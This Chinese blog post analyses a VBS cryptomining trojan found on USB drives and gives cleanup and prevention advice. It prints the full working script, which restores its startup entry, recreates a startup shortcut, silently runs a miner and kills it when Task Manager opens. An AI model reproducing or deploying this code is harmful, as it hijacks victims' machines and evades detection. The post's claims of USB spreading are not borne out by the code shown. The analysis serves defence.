最近公司同事提出他们的U盘疑似中病毒,通过排查,我发现一个典型的 VBS 木马病毒,具备自启动、进程守护、反查杀、U盘传播等多种特性,中病毒电脑和U盘的特征是用户将电脑文件夹放入U盘,在放到其他电脑,则该U盘的文件夹就会隐藏且生成同名的伪文件(格式为.exe)。本文将详细剖析该脚本的行为机制,并给出清除建议。
🧾 一、样本基本信息
病毒源文件为以下命名为helper.vbs:👇
on error resume next
Dim ws, strPath, objws, objFile, strFolder, startupPath, MyScript, objWinMgmt, colProcess, vaprocess, miner, tskProcess, nkey, key
Set ws = WScript.CreateObject("WScript.Shell")
nkey = "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder\helper.lnk"
Set objWinMgmt = GetObject("WinMgmts:Root\Cimv2")
strPath = WScript.ScriptFullName
set objws = CreateObject("Scripting.FileSystemObject")
Set objFile = objws.GetFile(strPath)
strFolder = objws.GetParentFolderName(objFile)
strPath = strFolder & "\"
startupPath = ws.SpecialFolders("startup")
miner = Chr(34) & strPath & "WindowsServices.exe" & Chr(34)
MyScript = "helper.vbs"
While True
key = Empty
key = ws.regread (nkey)
If (not IsEmpty(key)) then
ws.RegWrite nkey, 2, "REG_BINARY"
End if
If (not objws.fileexists(startupPath & "\helper.lnk")) then
Set link = ws.CreateShortcut(startupPath & "\helper.lnk")
link.Description = "helper"
link.TargetPath =chr(34) & strPath & "helper.vbs" & chr(34)
link.WorkingDirectory = strPath
link.Save
End If
Set colProcess = objWinMgmt.ExecQuery ("Select * From Win32_Process where name = 'wscript.exe'")
call procheck(colProcess, "installer.vbs")
Set colProcess = objWinMgmt.ExecQuery ("Select * From Win32_Process where name Like '%WindowsServices.exe%'")
Set tskProcess = objWinMgmt.ExecQuery ("Select * From Win32_Process where name Like '%Taskmgr.exe%'")
if colProcess.count = 0 And tskProcess.count = 0 then
ws.Run miner, 0
ElseIf colProcess.count > 0 And tskProcess.count > 0 then
For Each objProcess In colProcess
ws.run "taskkill /PID " & objProcess.ProcessId , 0
Next
end if
WScript.Sleep 3000
Wend
'---------------------------------------------------------------------------------
sub procheck(checkme, procname)
For Each objProcess In checkme
vaprocess = objProcess.CommandLine
if instr(vaprocess, procname) then
Exit sub
End if
Next
ws.Run Chr(34) & strPath & procname & Chr(34)
end sub
'---------------------------------------------------------------------------------
🧠 二、脚本行为分析
该脚本功能十分丰富,具备典型的“挖矿木马 + 自启动守护 + 自传播”特征。
🔁 1. 注册表强制启用启动项
nkey = "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder\helper.lnk"
ws.RegWrite nkey, 2, "REG_BINARY"
📌 作用:确保 helper.lnk 快捷方式在启动项中处于“启用”状态。即使用户在启动管理器中禁用了它,病毒也会定期恢复。
🪛 2. 重建启动项快捷方式
If Not objws.fileexists(startupPath & "\helper.lnk") Then
Set link = ws.CreateShortcut(startupPath & "\helper.lnk")
link.TargetPath = chr(34) & strPath & "helper.vbs" & chr(34)
link.WorkingDirectory = strPath
link.Save
End If
📌 作用:每隔几秒检查是否存在启动项链接,不存在则自动创建,指向木马本体。
👾 3. 挖矿程序守护与启动
Set colProcess = objWinMgmt.ExecQuery("Select * From Win32_Process Where Name Like '%WindowsServices.exe%'")
If colProcess.count = 0 Then
ws.Run miner, 0
End If
📌 作用:若挖矿主程序 WindowsServices.exe 没有运行,则立即后台静默启动。该进程通常会大量占用 CPU 或 GPU 资源。
🧟 4. 检测任务管理器并自杀躲避
Set tskProcess = objWinMgmt.ExecQuery("Select * From Win32_Process Where Name Like '%Taskmgr.exe%'")
If tskProcess.count > 0 Then
For Each objProcess In colProcess
ws.run "taskkill /PID " & objProcess.ProcessId, 0
Next
End If
📌 作用:若检测到 Taskmgr.exe(任务管理器)被打开,立即尝试结束自己的挖矿进程,避免暴露。
🧬 5. 虚假守护辅助脚本:installer.vbs
call procheck(colProcess, "installer.vbs")
Sub procheck(checkme, procname)
For Each objProcess In checkme
vaprocess = objProcess.CommandLine
if instr(vaprocess, procname) then
Exit Sub
End if
Next
ws.Run Chr(34) & strPath & procname & Chr(34)
End Sub
📌 作用:这段逻辑看似在“守护”一个名为 installer.vbs 的脚本文件,但实际上该文件并不存在于当前脚本中,也没有生成逻辑。
可能原因如下:
installer.vbs原为病毒组件之一,现已缺失;脚本作者故意保留伪调用点,用于混淆分析;
用户机器曾有该文件,但后被删除。
✅ 若在其他路径或 U 盘中发现 installer.vbs,建议同样将其纳入排查与清理。
⚙️ 三、完整行为总结
🔧 四、清除与修复建议
✅ 1. 手动结束相关进程
taskkill /F /IM wscript.exe
taskkill /F /IM WindowsServices.exe
✅ 2. 删除可疑文件
请删除以下路径中的文件:
%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\helper.lnk
U盘或用户目录下的:
- helper.vbs
- WindowsServices.exe
- installer.vbs(如存在)
✅ 3. 清理注册表启动项
打开注册表编辑器,删除以下键值:
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder\helper.lnk
✅ 4. 使用专业工具查杀
推荐以下工具进行深度查杀:
🛡️ Kaspersky Virus Removal Tool (KVRT)
🛡️ 火绒剑(适合手动查找隐藏进程和注册表)
🛡️SpaceSniffer(可视化空间分析)
🛡️ 五、防范建议
禁用 U 盘自动运行功能(自动播放)
显示隐藏文件和扩展名,防止伪装
.exe文件被误点不随意双击 U 盘中的
.vbs/.lnk文件定期使用杀毒软件扫描
给
wscript.exe限权或加白名单机制
📌 总结
这是一个精心构造的 VBS 挖矿木马,具有“轻量级 + 多层守护 + 自我修复”的高度复杂性。它伪装得像一个普通快捷方式,实际却操控系统后台资源为黑产服务。若发现类似行为,应立即切断网络并进行彻底排查。